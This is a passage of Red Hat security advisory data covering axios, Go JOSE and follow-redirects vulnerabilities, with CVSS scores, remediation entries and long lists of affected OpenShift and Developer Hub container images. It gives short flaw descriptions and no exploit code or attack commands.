"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure due to prototype pollution vulnerability"
},
{
"cve": "CVE-2026-44496",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"discovery_date": "2026-06-11T17:01:15.856386+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487943"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in Axios can lead to a client-side Denial of Service. An attacker capable of influencing the XSRF cookie name within a browser environment could trigger excessive regular expression processing, causing the affected browser tab to freeze and degrade user availability. This issue specifically impacts browser-based applications and does not affect Node.js HTTP adapter usage, React Native, or web workers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "RHBZ#2487943",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487943"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
}
],
"release_date": "2026-06-11T15:34:28.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name"
}
]
}
RHSA-2026:27044
Vulnerability from csaf_redhat - Published: 2026-06-23 08:24 - Updated: 2026-07-30 19:20Summary
Red Hat Security Advisory: OpenShift Container Platform 4.21.21 bug fix and security update
Severity
Important
Notes
Topic: Red Hat OpenShift Container Platform release 4.21.21 is now available with updates to packages and images that fix several bugs and add enhancements.
This release includes a security update for Red Hat OpenShift Container Platform 4.21.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
Details: Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.
This advisory contains the container images for Red Hat OpenShift Container Platform 4.21.21. See the following advisory for the RPM packages for this release:
https://access.redhat.com/errata/RHBA-2026:27041
Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:
https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in Go JOSE, a library for handling JSON Web Encryption (JWE) objects. A remote attacker could exploit this vulnerability by providing a specially crafted JWE object. When decrypting such an object, if a key wrapping algorithm is specified but the encrypted key field is empty, the application can crash. This leads to a denial of service (DoS), making the affected service unavailable to legitimate users.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — |
Vendor Fix
fix
|
|
